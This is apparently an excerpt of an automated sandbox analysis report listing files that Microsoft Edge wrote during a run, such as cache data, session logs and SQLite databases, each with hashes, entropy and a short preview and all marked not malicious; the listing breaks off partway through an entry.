MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:TRjKctAyXl/ly/l9/lxE0tlla/lbUfBbj+n:hyKmO0gwftCn
MD5:	82623FD8A20247C9441D31BDDF886445
SHA1:	0E0C6A38035C36C7013054CDA469AF478B3FF5B6
SHA-256:	C878CC687D34045BCA32C0CDE752328A626EC1075336C5E692D1564B0A3D2E45
SHA-512:	153C4A5CF0FC7BEE23C9FBE72EE8253AE66BEB83BDD15C8662DB4ACCF3C6AC5A2FE6B7D4C749AE8BAC3047B23B8504C2E3C533E8B7104A686D861863C80FB57E
Malicious:	false
Preview:	@....4A.oy retne.........................X....,....................~./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:TRjKctAyXl/ly/l9/lxE0tlla/lbUfBbj+n:hyKmO0gwftCn
MD5:	82623FD8A20247C9441D31BDDF886445
SHA1:	0E0C6A38035C36C7013054CDA469AF478B3FF5B6
SHA-256:	C878CC687D34045BCA32C0CDE752328A626EC1075336C5E692D1564B0A3D2E45
SHA-512:	153C4A5CF0FC7BEE23C9FBE72EE8253AE66BEB83BDD15C8662DB4ACCF3C6AC5A2FE6B7D4C749AE8BAC3047B23B8504C2E3C533E8B7104A686D861863C80FB57E
Malicious:	false
Preview:	@....4A.oy retne.........................X....,....................~./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF2f2e2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:TRjKctAyXl/ly/l9/lxE0tlla/lbUfBbj+n:hyKmO0gwftCn
MD5:	82623FD8A20247C9441D31BDDF886445
SHA1:	0E0C6A38035C36C7013054CDA469AF478B3FF5B6
SHA-256:	C878CC687D34045BCA32C0CDE752328A626EC1075336C5E692D1564B0A3D2E45
SHA-512:	153C4A5CF0FC7BEE23C9FBE72EE8253AE66BEB83BDD15C8662DB4ACCF3C6AC5A2FE6B7D4C749AE8BAC3047B23B8504C2E3C533E8B7104A686D861863C80FB57E
Malicious:	false
Preview:	@....4A.oy retne.........................X....,....................~./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6499
Entropy (8bit):	3.3848822829528338
Encrypted:	false
SSDEEP:	192:tEnm4cI76ELm/yvf9Xp+c1+iV5SLl9iSrYj16op:anP7FmQf9Xp+q+45SLl9iSrc17
MD5:	927E8B139C40F78F6C0EE8E60FA4E696
SHA1:	D13E210515D43E192C9C4E7380A90336214B6D94
SHA-256:	E1D287E34FD85C6CBAC861F320353369243D459D8508B4F3BD9E8BCCD1F8F348
SHA-512:	45AAF4BBC933D69EA16F3615E998E9D628C7F4F130AFC6B37232292D534CA5FF7D9747994083117E43541487218531E936BA19584194A9455C8F9AB60AB1EB5F
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f.................z(b................next-map-id.1.Cnamespace-ca6ad49d_f0ab_453a_952b_76c4405014fb-https://ntp.msn.com/.0!....................map-0-shd_sweeper./{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.a.d.s.-.w.w.-.t.u.n.e.2.-.d.e.f.b.l.k.,.a.d.s.-.s.m.a.r.t.b.l.c.k.-.d.n.k.,.k.w.-.c.b.v.4.-.d.e.f.a.u.l.t.1.,.k.w.-.s.i.-.d.e.f.a.u.l.t.3.,.s.i.d.-.n.e.w.-.c.l.i.d.,.s.i.d.-.w.1.-.a.d.d.g.n.o.i.s.e.,.s.i.d.-.w.3.-.a.d.d.g.n.o.i.s.e.,.s.i.d.a.m.o.-.w.1.-.u.n.i.-.s.t.a.g.e.-.2.,.s.i.d.a.m.o.-.w.3.-.u.n.i.-.s.t.a.g.e.-.2.,.c.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.,.p.r.g.-.1.s.w.-.m.i.t.o.t.d.u.s.-.c.,.p.r.g.-.1.s.w.-.s.a.g.e.i.m.a.n.n.t.4.,.p.r.g.-.1.s.w.-.s.a.c.f.x.2.-.e.n.-.n.s.f.r.e.q.-.c.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.1.,.p.r.g.-.1.s.w.-.s.a.-.s.p.5.-.t.6.,.p.r.g.-.1.s.w.-.s.a.l.3.v.f.r.e.l.t.1.,.p.r.g.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1929526443533165
Encrypted:	false
SSDEEP:	6:HC548+q2PcNwi23oH+TcwtrQMxIFUt8YC541Zmw+YC5OSMGVkwOcNwi23oH+TcwJ:9BvLZYebCFUt8c1/+Z54ZYebtJ
MD5:	F74FA02BCD5ECA889E19C0991DF3446C
SHA1:	2A22AFCA6E048B137EE1B35109E21F242F17C84A
SHA-256:	15610A25CA09D0602DE954EC7C1CAB40D368552925775165579C2DE4A25EE338
SHA-512:	05D0E969DDF846D9F45FDBDACCDAFE644E2EA378FD3C3242C79D455048C7EE72496ED93B5E9A13BEC334E9B512E743C28F596475FDD23FF1483BB3C29221D508
Malicious:	false
Preview:	2024/11/27-12:32:55.672 1f38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/27-12:32:55.675 1f38 Recovering log #3.2024/11/27-12:32:55.757 1f38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.1929526443533165
Encrypted:	false
SSDEEP:	6:HC548+q2PcNwi23oH+TcwtrQMxIFUt8YC541Zmw+YC5OSMGVkwOcNwi23oH+TcwJ:9BvLZYebCFUt8c1/+Z54ZYebtJ
MD5:	F74FA02BCD5ECA889E19C0991DF3446C
SHA1:	2A22AFCA6E048B137EE1B35109E21F242F17C84A
SHA-256:	15610A25CA09D0602DE954EC7C1CAB40D368552925775165579C2DE4A25EE338
SHA-512:	05D0E969DDF846D9F45FDBDACCDAFE644E2EA378FD3C3242C79D455048C7EE72496ED93B5E9A13BEC334E9B512E743C28F596475FDD23FF1483BB3C29221D508
Malicious:	false
Preview:	2024/11/27-12:32:55.672 1f38 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/27-12:32:55.675 1f38 Recovering log #3.2024/11/27-12:32:55.757 1f38 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13377202377233379

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.835628375945732
Encrypted:	false
SSDEEP:	24:38YHB/Z/ZWGVXpsAF4unxUtLp3X2amEtG1ChqkerC4JZQKkOAM4o:3jbhXzFSLp2FEkChAC4JKHOp5
MD5:	262E41A2A856203DE1DD591AF97F5202
SHA1:	B54C9671EAA4AA9A35A2606359901CB83DFCF911
SHA-256:	0149A6E0E5EF4D5165C9374D28A806E3D138AEEB93E717A659453BAD045000B7
SHA-512:	64441F9CDE7910917896733157B1AEF2F8F58E24BA7C2022E527D33E18A873E0ED6CB90B123B303F5B27BF13C428D6856796814BB9E2E06AA9718A506D7F76CD
Malicious:	false
Preview:	SNSS.......K.)J...........K.)J......"K.)J...........K.)J.......K.)J.......L.)J.......L.)J....!..L.)J...............................K.)JL.)J1..,...L.)J$...ca6ad49d_f0ab_453a_952b_76c4405014fb...K.)J.......L.)J...............K.)J...K.)J.......................K.)J....................5..0...K.)J&...{4B3AC14B-43E5-4896-86E8-9E7D502CE1B5}.....K.)J..........K.)J.......................L.)J...........L.)J........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x.......fdc[.'..gdc[.'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.215542183163788
Encrypted:	false
SSDEEP:	6:HC5dLELcM+q2PcNwi23oH+Tcwt7Uh2ghZIFUt8YC5dLELJZmw+YC5dLELcMVkwOe:8LAcM+vLZYebIhHh2FUt8BLAJ/+BLAcY
MD5:	067F46006F2F530FF012DCD3EBB22CF3
SHA1:	48C3A1342CBBEBDCBACB7B4DDA6F3B7758BB6848
SHA-256:	CE153BCA40076DA087F97CD9070886B6638AE9A9C2CA2DCBC13CEB77BFCFE4AC
SHA-512:	E9B43E8D7FEAA545832F9F8848CB2599B1CECFA39A86427DE4777F6610086D30060E5949639D8EECCD8C9B456A44B01C69D71AE7F2FCB4F0B007DCCE3023A756
Malicious:	false
Preview:	2024/11/27-12:32:54.809 168c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/27-12:32:54.809 168c Recovering log #3.2024/11/27-12:32:54.809 168c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	358
Entropy (8bit):	5.215542183163788
Encrypted:	false
SSDEEP:	6:HC5dLELcM+q2PcNwi23oH+Tcwt7Uh2ghZIFUt8YC5dLELJZmw+YC5dLELcMVkwOe:8LAcM+vLZYebIhHh2FUt8BLAJ/+BLAcY
MD5:	067F46006F2F530FF012DCD3EBB22CF3
SHA1:	48C3A1342CBBEBDCBACB7B4DDA6F3B7758BB6848
SHA-256:	CE153BCA40076DA087F97CD9070886B6638AE9A9C2CA2DCBC13CEB77BFCFE4AC
SHA-512:	E9B43E8D7FEAA545832F9F8848CB2599B1CECFA39A86427DE4777F6610086D30060E5949639D8EECCD8C9B456A44B01C69D71AE7F2FCB4F0B007DCCE3023A756
Malicious:	false
Preview:	2024/11/27-12:32:54.809 168c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/27-12:32:54.809 168c Recovering log #3.2024/11/27-12:32:54.809 168c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0018090556708630736
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zEZl8Ge:/M/xT02zQ
MD5:	2F29ED1F9C6AD6E4547E412720E34F73
SHA1:	A3A5195DE790585C4886A5E5426A8D3C728259E6
SHA-256:	AAEC9D56D477E5226602409CE829B8D10A9722283A2503E2458DF015A691DF1D
SHA-512:	74B9B33AE2A199E4A5AE7EDC0DD5738E12981DF1356EF7991F59BFAD60FAECDB80AD45735BA9171729C4AEDAB335F0C15C313FC221085AA9CE2E03C9B9100F0D
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.236537657641303
Encrypted:	false
SSDEEP:	12:osyvLZYebvqBQFUt8h/+CpR54ZYebvqBvJ:osYlYebvZg8bDoYebvk
MD5:	C848C2AF476B31B0F3A746D0BA0878B4
SHA1:	F736A99D327733FDDC0F7273EB4B36B10C174352
SHA-256:	83806CA48938FC073AE218510C549531C5DAF35A5A3FB9A766CC7E202499E313
SHA-512:	152CE63282A56163090E913ABE5455E63D3817E416FE3409100FE144DFB20EE6B4F6FC0C9C85174574C80AC7384B4248806E43721A84056D83CB612334CAACB3
Malicious:	false
Preview:	2024/11/27-12:32:55.820 1f54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/27-12:32:55.821 1f54 Recovering log #3.2024/11/27-12:32:55.824 1f54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	440
Entropy (8bit):	5.236537657641303
Encrypted:	false
SSDEEP:	12:osyvLZYebvqBQFUt8h/+CpR54ZYebvqBvJ:osYlYebvZg8bDoYebvk
MD5:	C848C2AF476B31B0F3A746D0BA0878B4
SHA1:	F736A99D327733FDDC0F7273EB4B36B10C174352
SHA-256:	83806CA48938FC073AE218510C549531C5DAF35A5A3FB9A766CC7E202499E313
SHA-512:	152CE63282A56163090E913ABE5455E63D3817E416FE3409100FE144DFB20EE6B4F6FC0C9C85174574C80AC7384B4248806E43721A84056D83CB612334CAACB3
Malicious:	false
Preview:	2024/11/27-12:32:55.820 1f54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/27-12:32:55.821 1f54 Recovering log #3.2024/11/27-12:32:55.824 1f54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\040448ff-bacc-4066-8935-ad24a4ecc251.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\7b1e8f37-1c1b-427c-a6ea-447dab957ea1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\8dd5c931-0f4d-4284-91a1-0872385f2f04.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF27342.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c9f74d0f-b6ca-42f4-969d-49f5edb4f78c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	428
Entropy (8bit):	5.242924913788836
Encrypted:	false
SSDEEP:	6:HC5Oi+q2PcNwi23oH+TcwtzjqEKj0QMxIFUt8YC5XZmw+YC5Q/VkwOcNwi23oH+f:PvLZYebvqBZFUt8D/+M54ZYebvqBaJ
MD5:	13FE7CF3F59F8B62F00F5A4C8B509569
SHA1:	EF4EEC3C089FBA2CAA0247CBBEE5E6F00670583F
